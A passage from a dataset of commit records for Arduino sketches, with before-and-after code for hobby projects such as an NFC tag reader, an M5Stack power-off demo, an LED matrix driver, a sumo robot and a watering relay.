endTime)\n\t{\n\t\tlcd.print(\"GAME OVER!\");\n\t}\n\telse\n\t{\n\t\tbool currentPressed = digitalRead(A0);\n\t\tif (currentPressed && !previousPressed)\n\t\t{\n\t\t\tendTime += 10 * TimeChunk;\n\t\t}\n\t\tpreviousPressed = currentPressed;\n\n\t\tunsigned long remainingChunk = (endTime - currentTime) \/ TimeChunk;\n\t\tchar buf[12];\n\t\tlcd.print(itoa(remainingChunk, buf, 10));\n\t}\n\n\tdelay(10);\n}\n","subject":"Fix ghost press at launch","message":"Fix ghost press at launch\n","lang":"Arduino","license":"mit","repos":"KoltesDigital\/Final-Countdown"} {"commit":"dce927901e531e534e940849fa1320f738c24902","old_file":"firmware\/examples\/readTag\/readtag.ino","new_file":"firmware\/examples\/readTag\/readtag.ino","old_contents":"#include \"pn532_i2c_particle\/pn532_i2c_particle.h\"\n#include \"pn532_i2c_particle\/PN532.h\"\n#include \"pn532_i2c_particle\/NfcAdapter.h\"\n\nPN532_I2C pn532_i2c(Wire);\nNfcAdapter nfc = NfcAdapter(pn532_i2c);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"NDEF Reader\");\n nfc.begin();\n}\n\nvoid loop(void) {\n Serial.println(\"\\nScan a NFC tag\\n\");\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n \/\/tag.print();\n if(tag.hasNdefMessage()){\n NdefMessage tagMessage = tag.getNdefMessage();\n int i;\n for (i = 0; i < tagMessage.getRecordCount() ; i++) {\n \/\/\n NdefRecord tagRecord = tagMessage.getRecord(i);\n tagRecord.print();\n \n }\n }\n }\n delay(5000);\n}\n","new_contents":"#include \"pn532_i2c_particle\/pn532_i2c_particle.h\"\n#include \"pn532_i2c_particle\/PN532.h\"\n#include \"pn532_i2c_particle\/NfcAdapter.h\"\n\nPN532_I2C pn532_i2c(Wire);\nNfcAdapter nfc = NfcAdapter(pn532_i2c);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"NDEF Reader\");\n nfc.begin();\n}\n\nvoid loop(void) {\n Serial.println(\"\\nScan a NFC tag\\n\");\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n if(tag.hasNdefMessage()){\n NdefMessage tagMessage = tag.getNdefMessage();\n int i;\n for (i = 0; i < tagMessage.getRecordCount() ; i++) {\n \/\/\n NdefRecord tagRecord = tagMessage.getRecord(i);\n tagRecord.print();\n \n }\n }\n }\n delay(5000);\n}\n","subject":"Update readTag to fetch just the payload from the messages on the tag","message":"Update readTag to fetch just the payload from the messages on the tag\n","lang":"Arduino","license":"mit","repos":"reducedhackers\/pn532nfcshield,reducedhackers\/pn532nfcshield,reducedhackers\/pn532_i2c_particle,reducedhackers\/pn532_i2c_particle"} {"commit":"642a62afeac424163d8dd065a4b4edffb66b77f8","old_file":"examples\/CalibrateESCs\/CalibrateESCs.ino","new_file":"examples\/CalibrateESCs\/CalibrateESCs.ino","old_contents":"#include \"Wire.h\"\n#include \"SPI.h\"\n#include \"MINDS-i-Drone.h\"\n#include \"platforms\/Quadcopter.h\"\n\nvoid setup(){\n calibrateESCs();\n}\nvoid loop(){\n output.stop();\n}\n","new_contents":"#include \"Wire.h\"\n#include \"SPI.h\"\n#include \"MINDS-i-Drone.h\"\n#include \"platforms\/Quadcopter.h\"\n\nvoid setup(){\n calibrateESCs();\n output.disable();\n}\nvoid loop(){\n}\n","subject":"Disable the output after calibrating instead of deprecated stop","message":"Disable the output after calibrating instead of deprecated stop\n","lang":"Arduino","license":"apache-2.0","repos":"MINDS-i\/MINDS-i-Drone,MINDS-i\/MINDS-i-Drone"} {"commit":"a729ee70f95e61e7532a6f1336ba570a151a9d5f","old_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","new_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","old_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n \n \/\/ Set the wakeup button\n M5.setWakeupButton(BUTTON_A_PIN);\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.powerOFF();\n }\n\n M5.update();\n}\n","new_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n \n \/\/ Set the wakeup button\n M5.Power.setWakeupButton(BUTTON_A_PIN);\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.Power.deepSleep();\n }\n\n M5.update();\n}\n","subject":"Update poser off example for new api.","message":"Update poser off example for new api.","lang":"Arduino","license":"mit","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack"} {"commit":"06d424038dfc0e5be3f9679b7c5d97e98a2fd280","old_file":"arduino-workshop.ino","new_file":"arduino-workshop.ino","old_contents":"#include \"lcd.h\"\n#include \"sensor.h\"\n\nvoid setup() {\n LCD::setup();\n LCD::helloworld();\n \/\/ put your setup code here, to run once:\n\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","new_contents":"#include \"lcd.h\"\n#include \"sensor.h\"\n\nvoid setup() {\n LCD::setup();\n LCD::helloworld();\n}\n\nvoid loop() {\n}\n","subject":"Remove useless comments from ino","message":"Remove useless comments from ino\n","lang":"Arduino","license":"mit","repos":"satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop"} {"commit":"0b74a04599dcf8281f56fb30ee842efa0adc1bd8","old_file":"WizardView.ino","new_file":"WizardView.ino","old_contents":"#include \"receiver.h\"\n\n\nReceiver rx1 = Receiver(2, 3, 4);\nReceiver rx2 = Receiver(2, 3, 5);\nReceiver rx3 = Receiver(2, 3, 6);\nReceiver rx4 = Receiver(2, 3, 7);\n\n\nvoid setup() {\n \/\/ Wait for modules to settle.\n delay(1000);\n\n \/\/ Set to race frequencies.\n rx1.setFrequency(5665);\n rx2.setFrequency(5745);\n rx3.setFrequency(5885);\n rx4.setFrequency(5945);\n}\n\nvoid loop() {\n \/\/ Do nothing.\n delay(1000);\n}\n","new_contents":"#include \"receiver.h\"\n\n\nReceiver rx1 = Receiver(2, 3, 4);\nReceiver rx2 = Receiver(2, 3, 5);\nReceiver rx3 = Receiver(2, 3, 6);\nReceiver rx4 = Receiver(2, 3, 7);\n\n\nvoid setup() {\n \/\/ Wait for modules to settle.\n delay(2000);\n\n \/\/ Set to race frequencies.\n rx1.setFrequency(5805);\n delay(500);\n rx2.setFrequency(5745);\n delay(500);\n rx3.setFrequency(5885);\n delay(500);\n rx4.setFrequency(5945);\n}\n\nvoid loop() {\n \/\/ Flash the LED.\n digitalWrite(13, HIGH);\n delay(1000);\n digitalWrite(13, LOW);\n delay(1000);\n}\n","subject":"Add some delays between setting channels + flash LED","message":"Add some delays between setting channels + flash LED\n","lang":"Arduino","license":"mit","repos":"PropNuts\/wizardtracker-hardware,PropNuts\/wizardtracker-hardware"} {"commit":"8b76365b29ffa98e2355a9ecf16519003e43d5eb","old_file":"bolt-arduino.ino","new_file":"bolt-arduino.ino","old_contents":"#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"clock.h\"\n#include \"const.h\"\n#include \"controller.h\"\n#include \"flasher.h\"\n#include \"logger.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Attach interrupt for 64 button shield\n attachInterrupt(digitalPinToInterrupt(P_BUTTON_INTERRUPT), button_ISR, FALLING);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n\n led_setup();\n flasher_setup();\n clock_setup();\n logger(LOGGER_TYPE_INFO, \"main\", \"Setup done\");\n}\n\nvoid loop() {\n screen_display(\"READY\");\n\n led_setState(1, LED_STATE_FLASHING);\n button_wait(1);\n\n game_start();\n}\n","new_contents":"#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"clock.h\"\n#include \"const.h\"\n#include \"controller.h\"\n#include \"flasher.h\"\n#include \"logger.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Attach interrupt for 64 button shield\n attachInterrupt(digitalPinToInterrupt(P_BUTTON_INTERRUPT), button_ISR, FALLING);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n\n led_setup();\n flasher_setup();\n clock_setup();\n logger(LOGGER_TYPE_INFO, \"main\", \"Setup done\");\n}\n\nvoid loop() {\n screen_display(\"READY\");\n\n led_setState(0, LED_STATE_FLASHING);\n button_wait(0);\n\n game_start();\n}\n","subject":"Change flashing button to 0 from 1","message":"Change flashing button to 0 from 1\n","lang":"Arduino","license":"mit","repos":"SUPERETDUPER\/bolt-arduino"} {"commit":"3fac52a6a53b88b1e3e69e666c0ae54c955ca743","old_file":"bolt-arduino.ino","new_file":"bolt-arduino.ino","old_contents":"#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"timer.h\"\n#include \"const.h\"\n#include \"controller.h\"\n#include \"flasher.h\"\n#include \"logger.h\"\n#include \"helper.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n\n \/\/Setup\n button::setup();\n led::setup();\n flasher::setup();\n timer::setup();\n logger::log(logger::TYPE_INFO, \"main\", \"Setup done\");\n}\n\n\nvoid loop() {\n screen::display(\"READY\");\n\n \/\/Wait for center button to be pressed\n led::setState(0, led::STATE_FLASHING);\n button::wait(0);\n led::setState(0, led::STATE_OFF);\n\n \/\/Start game\n game::start();\n helper::waitTime(5000);\n}\n","new_contents":"#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"timer.h\"\n#include \"const.h\"\n#include \"controller.h\"\n#include \"flasher.h\"\n#include \"logger.h\"\n#include \"helper.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n\n \/\/Setup\n button::setup();\n led::setup();\n flasher::setup();\n timer::setup();\n logger::log(logger::TYPE_INFO, \"main\", \"Setup done\");\n\n screen::display(\"READY\");\n\n \/\/Wait for center button to be pressed\n led::setState(0, led::STATE_FLASHING);\n button::wait(0);\n led::setState(0, led::STATE_OFF);\n\n \/\/Start game\n game::start();\n helper::waitTime(5000);\n}\n\n\nvoid loop() {\n\n}\n","subject":"Move main to setup to not repeat","message":"Move main to setup to not repeat\n","lang":"Arduino","license":"mit","repos":"SUPERETDUPER\/bolt-arduino"} {"commit":"480e263364f9cae075f26d9f73b7cca43a27caa1","old_file":"Examples\/ReadAll.ino","new_file":"Examples\/ReadAll.ino","old_contents":"\/*\n Author: Andrea Stagi \n Example: ReadAll\n Description: fetch all devices and relative temperatures\n on the wire bus on pin 5 and send them via serial port.\n*\/\n\n#include \n#include \n\nDSTemperature ds(5); \/\/ on pin 5\n\nvoid setup(void) {\n Serial.begin(9600);\n ds.begin();\n}\n\nvoid sendAddress(DSAddress ds) {\n for(int i = 0 ; i < 8 ; i++) {\n Serial.print(ds.value[i], HEX);\n Serial.print(\" \");\n }\n Serial.println();\n}\n\nvoid loop(void) {\n for(int i = 0 ; i < ds.getDeviceCount() ; i++) {\n Serial.println(\"-------------------------------------------\");\n Serial.print(\"DEVICE ADDRESS: \");\n sendAddress(ds.getAddressFromIndex(i));\n Serial.print(\"TEMPERATURE VALUE: \");\n Serial.print(ds.getCelsius(i));\n Serial.println(\" C\");\n }\n\n \/*\n TODO: try to get index from 28 DA E5 D1 3 0 0 77 and 28 DA 19 0 0 0 20 32\n *\/\n} \n","new_contents":"\/*\n Author: Andrea Stagi \n Example: ReadAll\n Description: fetch all devices and relative temperatures\n on the wire bus on pin 5 and send them via serial port.\n*\/\n\n#include \n#include \n\nDSTemperature ds(5); \/\/ on pin 5\n\nvoid setup(void) {\n Serial.begin(9600);\n ds.begin();\n}\n\nvoid sendAddress(DSAddress ds_addr) {\n for(int i = 0 ; i < 8 ; i++) {\n Serial.print(ds_addr.value[i], HEX);\n Serial.print(\" \");\n }\n Serial.println();\n}\n\nvoid loop(void) {\n for(int i = 0 ; i < ds.getDeviceCount() ; i++) {\n Serial.println(\"-------------------------------------------\");\n Serial.print(\"DEVICE ADDRESS: \");\n sendAddress(ds.getAddressFromIndex(i));\n Serial.print(\"TEMPERATURE VALUE: \");\n Serial.print(ds.getCelsius(i));\n Serial.println(\" C\");\n }\n\n \/*\n TODO: try to get index from 28 DA E5 D1 3 0 0 77 and 28 DA 19 0 0 0 20 32\n *\/\n} \n","subject":"Use ds_addr instead of ds","message":"Use ds_addr instead of ds\n","lang":"Arduino","license":"mit","repos":"astagi\/DSTemperature"} {"commit":"82f272e4df08be3321b4d4205163c08712dab460","old_file":"timer\/timer.ino","new_file":"timer\/timer.ino","old_contents":"\n#include \"Constants.h\"\n#include \"Display.h\"\n#include \"Buttons.h\"\n\nDisplay display;\nButtons buttons;\n\nunsigned long start_time = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n start_time = millis();\n}\n\nvoid loop() {\n\n unsigned long current_time = millis() - start_time;\n display.displayTime( current_time \/ 1000 );\n\n int button = buttons.get_button_press();\n if ( button == BUTTON_RESTART ) {\n \/\/ reset the start time\n start_time = millis();\n }\n\n}\n","new_contents":"\n#include \"Constants.h\"\n#include \"Display.h\"\n#include \"Buttons.h\"\n\nDisplay display;\nButtons buttons;\n\nunsigned long countdown_ends;\nunsigned long countdown_duration;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n countdown_ends = 0;\n countdown_duration = 900000; \/\/ 15 mins in ms\n countdown_ends = millis() + countdown_duration;\n}\n\nvoid loop() {\n\n long time_remaining = countdown_ends - millis();\n Serial.println(countdown_duration);\n display.displayTime( time_remaining \/ 1000 );\n\n int button = buttons.get_button_press();\n if ( button == BUTTON_RESTART ) {\n \/\/ reset the start time\n countdown_ends = millis() + countdown_duration + 500;\n }\n\n}\n","subject":"Change code to count down instead of up","message":"Change code to count down instead of up\n","lang":"Arduino","license":"agpl-3.0","repos":"OmniRose\/watch-timer,OmniRose\/watch-timer"} {"commit":"7662a945fe24cc038c44c9e5a502264762c17c5a","old_file":"riptide_serial\/firmware\/thruster_control_sketch\/thruster_control_sketch.ino","new_file":"riptide_serial\/firmware\/thruster_control_sketch\/thruster_control_sketch.ino","old_contents":"#include \n\nros::NodeHandle nh;\nstd_msgs::Float64 state;\n\nvoid callback(const std_msgs::Float64 cmd);\n{\n\n}\n\nros::Publisher state_pub(\"state\", &state);\nros::Subscriber cmd_sub(\"command\", &callback);\n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(state_pub);\n\n}\n\nvoid loop()\n{\n nh.spinOnce();\n\n state[0] = port_servo_pos;\n state[1] = stbd_servo_pos;\n\n state_pub.publish(&state);\n\n delay(33);\n}\n","new_contents":"#include \n\n#include \n#include \n\nros::NodeHandle nh;\n\nstd_msgs::Int8 state;\n\nros::Publisher state_pub(\"state\", &state);\n\nvoid callback(const std_msgs::Int8 &cmd)\n{\n state.data = 0;\n state_pub.publish(&state);\n\n Wire.beginTransmission(3);\n Wire.write(0x10);\n Wire.write(0x10);\n Wire.write(0x10);\n Wire.endTransmission();\n\n delay(5);\n\n Wire.beginTransmission(3);\n Wire.write(0x20);\n Wire.write(0x20);\n Wire.write(0x20);\n Wire.endTransmission();\n\n delay(5);\n\n Wire.requestFrom(0x10, 4);\n\n while(Wire.available())\n {\n char c = Wire.read();\n state.data = c;\n state_pub.publish(&state);\n }\n}\n\nros::Subscriber cmd_sub(\"command\", &callback);\n\nvoid setup()\n{\n Wire.begin();\n\n nh.initNode();\n nh.advertise(state_pub);\n\n}\n\nvoid loop()\n{ \n nh.spinOnce();\n\n delay(33);\n}\n","subject":"Add i2c to thruster control sketch.","message":"Add i2c to thruster control sketch.\n","lang":"Arduino","license":"bsd-2-clause","repos":"tsender\/riptide_software,osu-uwrt\/riptide-ros,tsender\/riptide_software,osu-uwrt\/riptide-ros,JustBenj\/riptide_software,dmae1600\/riptide-ros,JustBenj\/riptide_software,dmae1600\/riptide-ros,dmae1600\/riptide-ros,tsender\/riptide_software,JustBenj\/riptide_software,dmae1600\/riptide-ros,JustBenj\/riptide_software,tsender\/riptide_software"} {"commit":"2c65615bec6840177a096f6ceaa2317b9a340e49","old_file":"examples\/PassThrough\/PassThrough.ino","new_file":"examples\/PassThrough\/PassThrough.ino","old_contents":"\/**\n * Use this sketch to talk directly to the LoRa module.\n * \n * In Serial Monitor, select \"Both NL & CR\" and \"9600 baud\" in\n * the bottom right dropdowns and send command a command like:\n *\n * mac get deveui\n * sys reset\n *\/\n\n#define loraSerial Serial1\n#define debugSerial Serial\n\nvoid setup() {\n loraSerial.begin(57600);\n debugSerial.begin(9600);\n}\n\nvoid loop() {\n while (debugSerial.available()) {\n loraSerial.write(debugSerial.read());\n }\n while (loraSerial.available()) {\n debugSerial.write(loraSerial.read());\n }\n}","new_contents":"\/**\n * Use this sketch to talk directly to the LoRa module.\n * \n * In Serial Monitor, select \"Both NL & CR\" and \"115200 baud\" in\n * the bottom right dropdowns and send command a command like:\n *\n * mac get deveui\n * sys reset\n *\/\n\n#define loraSerial Serial1\n#define debugSerial Serial\n\nvoid setup() {\n while(!debugSerial || !loraSerial);\n\n debugSerial.begin(115200);\n delay(1000);\n\n loraSerial.begin(57600);\n}\n\nvoid loop() {\n while (debugSerial.available()) {\n loraSerial.write(debugSerial.read());\n }\n while (loraSerial.available()) {\n debugSerial.write(loraSerial.read());\n }\n}","subject":"Update pass through to work with Node","message":"Update pass through to work with Node\n","lang":"Arduino","license":"mit","repos":"TheThingsNetwork\/arduino-device-lib,TheThingsNetwork\/arduino-device-lib,TheThingsNetwork\/arduino-device-lib"} {"commit":"f1b313c38094b104ea370653e450c9e4c079cd40","old_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","new_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","old_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n \n \/\/ Set the wakeup button\n M5.Power.setWakeupButton(BUTTON_A_PIN);\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.Power.deepSleep();\n }\n\n M5.update();\n}\n","new_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n \n \/\/ Set the wakeup button\n M5.Power.setWakeupButton(BUTTON_A_PIN);\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.Power.powerOFF();\n }\n\n M5.update();\n}\n","subject":"Use powerOFF on powerOFF example","message":"Use powerOFF on powerOFF example","lang":"Arduino","license":"mit","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack"} {"commit":"5072cadb1bb79f185d8910fff4fdde7442a2100c","old_file":"examples\/SerialPrinterEnableInterrupt\/SerialPrinterEnableInterrupt.ino","new_file":"examples\/SerialPrinterEnableInterrupt\/SerialPrinterEnableInterrupt.ino","old_contents":"\/*\nThis example is basically the same as SimpleSerialPrinter but utilize\nthe EnableInterrupt library. EnableInterrupt make pin change\ninterrupts available and thus allows to use arbitrary pins.\n*\/\n\n\/\/ EnableInterrupt from https:\/\/github.com\/GreyGnome\/EnableInterrupt\n\/\/ include it before RadiationWatch.h\n#include \"EnableInterrupt.h\"\n#include \"RadiationWatch.h\"\n\n\/\/ Use any pin as you like\n\/\/ Here: signPin = 5, noisePin = 6\nRadiationWatch radiationWatch(5, 6);\n\nvoid onRadiation()\n{\n Serial.println(\"A wild gamma ray appeared\");\n Serial.print(radiationWatch.uSvh());\n Serial.print(\" uSv\/h +\/- \");\n Serial.println(radiationWatch.uSvhError());\n}\n\nvoid onNoise()\n{\n Serial.println(\"Argh, noise, please stop moving\");\n}\n\nvoid setup()\n{\n Serial.begin(9600);\n radiationWatch.setup();\n \/\/ Register the callbacks.\n radiationWatch.registerRadiationCallback(&onRadiation);\n radiationWatch.registerNoiseCallback(&onNoise);\n}\n\nvoid loop()\n{\n radiationWatch.loop();\n}\n","new_contents":"\/*\nThis example is basically the same as SimpleSerialPrinter but utilize\nthe EnableInterrupt library.\n\nThe EnableInterrupt library make pin change interrupts available and\nthus allows to use arbitrary pins.\n\nSee a list of pins supported here:\nhttps:\/\/github.com\/GreyGnome\/EnableInterrupt\/wiki\/Usage#pin--port-bestiary\n\nYou can install the library from the Arduino Library Manager:\nhttp:\/\/www.arduinolibraries.info\/libraries\/enable-interrupt\n*\/\n\n\/\/ EnableInterrupt from https:\/\/github.com\/GreyGnome\/EnableInterrupt\n\/\/ include it before RadiationWatch.h\n#include \"EnableInterrupt.h\"\n#include \"RadiationWatch.h\"\n\n\/\/ Use any pin as you like\n\/\/ Here: signPin = 5, noisePin = 6\nRadiationWatch radiationWatch(5, 6);\n\nvoid onRadiation()\n{\n Serial.println(\"A wild gamma ray appeared\");\n Serial.print(radiationWatch.uSvh());\n Serial.print(\" uSv\/h +\/- \");\n Serial.println(radiationWatch.uSvhError());\n}\n\nvoid onNoise()\n{\n Serial.println(\"Argh, noise, please stop moving\");\n}\n\nvoid setup()\n{\n Serial.begin(9600);\n radiationWatch.setup();\n \/\/ Register the callbacks.\n radiationWatch.registerRadiationCallback(&onRadiation);\n radiationWatch.registerNoiseCallback(&onNoise);\n}\n\nvoid loop()\n{\n radiationWatch.loop();\n}\n","subject":"Add link to EnableInterupt pin beastiary","message":"Add link to EnableInterupt pin beastiary\n","lang":"Arduino","license":"mit","repos":"MonsieurV\/ArduinoPocketGeiger"} {"commit":"3bdf6ee88f733f6f13d8306d9ee4879902376d7c","old_file":"firmware\/examples\/readTag\/readtag.ino","new_file":"firmware\/examples\/readTag\/readtag.ino","old_contents":"#include \"pn532_i2c_particle\/pn532_i2c_particle.h\"\n#include \"pn532_i2c_particle\/PN532.h\"\n#include \"pn532_i2c_particle\/NfcAdapter.h\"\n\nPN532_I2C pn532_i2c(Wire);\nNfcAdapter nfc = NfcAdapter(pn532_i2c);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"NDEF Reader\");\n nfc.begin();\n}\n\nvoid loop(void) {\n Serial.println(\"\\nScan a NFC tag\\n\");\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n \/\/tag.print();\n if(tag.hasNdefMessage()){\n NdefMessage tagMessage = tag.getNdefMessage();\n \n }\n }\n }\n delay(5000);\n}\n","new_contents":"#include \"pn532_i2c_particle\/pn532_i2c_particle.h\"\n#include \"pn532_i2c_particle\/PN532.h\"\n#include \"pn532_i2c_particle\/NfcAdapter.h\"\n\nPN532_I2C pn532_i2c(Wire);\nNfcAdapter nfc = NfcAdapter(pn532_i2c);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"NDEF Reader\");\n nfc.begin();\n}\n\nvoid loop(void) {\n Serial.println(\"\\nScan a NFC tag\\n\");\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n \/\/tag.print();\n if(tag.hasNdefMessage()){\n NdefMessage tagMessage = tag.getNdefMessage();\n int i;\n for (i = 0; i < tagMessage.getRecordCount() ; i++) {\n \/\/\n NdefRecord tagRecord = tagMessage.getRecord(i);\n tagRecord.print();\n \n }\n }\n }\n delay(5000);\n}\n","subject":"Update readTag to fetch just the payload from the messages on the tag","message":"Update readTag to fetch just the payload from the messages on the tag\n","lang":"Arduino","license":"mit","repos":"reducedhackers\/pn532nfcshield,reducedhackers\/pn532_i2c_particle,reducedhackers\/pn532nfcshield,reducedhackers\/pn532_i2c_particle"} {"commit":"2f1b90ec759761c91af7664f48668852cbafd26a","old_file":"arduino\/led_matrix\/led_matrix.ino","new_file":"arduino\/led_matrix\/led_matrix.ino","old_contents":"\n#include \n\n#define WIDTH 16\n#define HEIGHT 16\n#define NUM_LEDS (WIDTH * HEIGHT)\n#define PIN 6\n#define BAUD 115200\n#define BRIGHTNESS 32\n\nCRGB leds[NUM_LEDS];\nint r, g, b;\nint x, y, yy;\n\nvoid setup() {\n FastLED.addLeds(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n Serial.begin(BAUD);\n FastLED.show();\n}\n\nvoid loop() {\n Serial.write(\"R\");\n\n for (x = 0; x < WIDTH; x++) {\n for (y = 0; y < HEIGHT; y++) {\n while (Serial.available() < 3);\n r = Serial.read();\n g = Serial.read();\n b = Serial.read();\n if (x % 2 == 0) {\n yy = HEIGHT - y - 1;\n } else {\n yy = y;\n }\n leds[yy + x * HEIGHT] = CRGB(g, r, b); \/\/ Seems to be running as GRB, not RGB\n }\n }\n FastLED.show();\n}\n\n","new_contents":"\n#include \n\n#define WIDTH 16\n#define HEIGHT 16\n#define NUM_LEDS (WIDTH * HEIGHT)\n#define PIN 6\n#define BAUD 115200\n#define BRIGHTNESS 8\n\nCRGB leds[NUM_LEDS];\nint r, g, b;\nint x, y, yy;\n\nvoid setup() {\n FastLED.addLeds(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n Serial.begin(BAUD);\n FastLED.show();\n}\n\nvoid loop() {\n Serial.write(\"R\");\n\n for (x = 0; x < WIDTH; x++) {\n for (y = 0; y < HEIGHT; y++) {\n while (Serial.available() < 3);\n r = Serial.read();\n g = Serial.read();\n b = Serial.read();\n if (x % 2 == 0) {\n yy = HEIGHT - y - 1;\n } else {\n yy = y;\n }\n leds[yy + x * HEIGHT] = CRGB(g, r, b); \/\/ Seems to be running as GRB, not RGB\n }\n }\n FastLED.show();\n}\n\n","subject":"Reduce led brightness to save my eyes.","message":"Reduce led brightness to save my eyes.\n","lang":"Arduino","license":"mit","repos":"Spooner\/pixel-table,Spooner\/pixel-table,Spooner\/pixel-table"} {"commit":"bbc6d312d356d51004b993b1928f583e5b7b4d8d","old_file":"MiniSumoStraitght\/MiniSumoStraitght.ino","new_file":"MiniSumoStraitght\/MiniSumoStraitght.ino","old_contents":"#include \n\nMiniRobot robot;\n\nvoid setup() {\n}\n\nvoid loop() {\n if (robot.leftEdge() && robot.distanceToEnemy() == 0) {\n robot.leftBack();\n } else {\n robot.leftForward();\n }\n if (robot.rightEdge() && robot.distanceToEnemy() == 0) {\n robot.rightBack();\n } else {\n robot.rightForward();\n }\n}\n","new_contents":"#include \n\nMiniRobot robot;\n\nbyte status = 2;\n\/*\n0 - don't need changes;\n1 - counter only\n2 - drive straight back;\n3 - drive straight forward;\n4 - spin around\n - enemy forward;\n*\/\n\nint count = 0;\n\nvoid setup() {\n PCMSK1 |= bit(0) | bit(1);\n PCIFR |= bit(1);\n PCICR |= bit(1);\n pinMode(A0,INPUT); \/\/ set Pin as Input (default)\n digitalWrite(A0,HIGH); \/\/ enable pullup resistor\n pinMode(A1,INPUT); \/\/ set Pin as Input (default)\n digitalWrite(A1,HIGH); \/\/ enable pullup resistor\n}\n\nISR (PCINT1_vect)\n{\n if (robot.leftEdge() || robot.rightEdge()) {\n status = 4;\n }\n}\n\nvoid loop() {\n switch (status) {\n case 1:\n count--;\n if (count <= 0) {\n status = 3;\n }\n break;\n case 2:\n robot.back();\n count = 15;\n status = 1;\n break;\n case 3:\n robot.forward();\n status = 0;\n break;\n case 4:\n robot.leftBack();\n robot.rightForward();\n count = 10;\n status = 1;\n break;\n }\n}\n","subject":"Use interrupt to IR sensors","message":"Use interrupt to IR sensors\n","lang":"Arduino","license":"mit","repos":"makerspacelt\/NTAsumoBot"} {"commit":"284d555b122ad17a9eccefb973ec571c493c7dd9","old_file":"Watering\/Watering.ino","new_file":"Watering\/Watering.ino","old_contents":"#include \"Watering.h\"\n\nvoid setup () {\n\n \/\/Init serial connection\n Serial.begin(SERIAL_BAUD);\n\n \/\/Init LED Pin\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n\n}\n\nvoid loop() {\n\n if ( Serial.available() ) {\n\n byte command = Serial.read();\n\n switch( command ) {\n\n case WATER_LEVEL:\n break;\n case SUNLIGHT_LEVEL:\n break;\n case RELAY_ON:\n digitalWrite(LED_PIN, HIGH);\n break;\n case RELAY_OFF:\n digitalWrite(LED_PIN, LOW);\n break;\n default:\n break;\n\n }\n }\n}","new_contents":"#include \"Watering.h\"\n\nvoid setup () {\n\n \/\/Init serial connection\n Serial.begin(SERIAL_BAUD);\n\n \/\/Init LED Pin\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n\n}\n\nvoid loop() {\n\n if ( Serial.available() ) {\n\n byte command = Serial.read();\n byte output[4];\n byte numBytes = 0;\n\n switch( command ) {\n\n case WATER_LEVEL:\n break;\n case SUNLIGHT_LEVEL:\n break;\n case RELAY_ON:\n digitalWrite(LED_PIN, HIGH);\n \n \/\/ Prepping to send a response\n output[0] = command;\n output[1] = 0;\n numBytes = 2;\n break;\n case RELAY_OFF:\n digitalWrite(LED_PIN, LOW);\n \n \/\/ Prepping to send a response\n output[0] = command;\n output[1] = 0;\n numBytes = 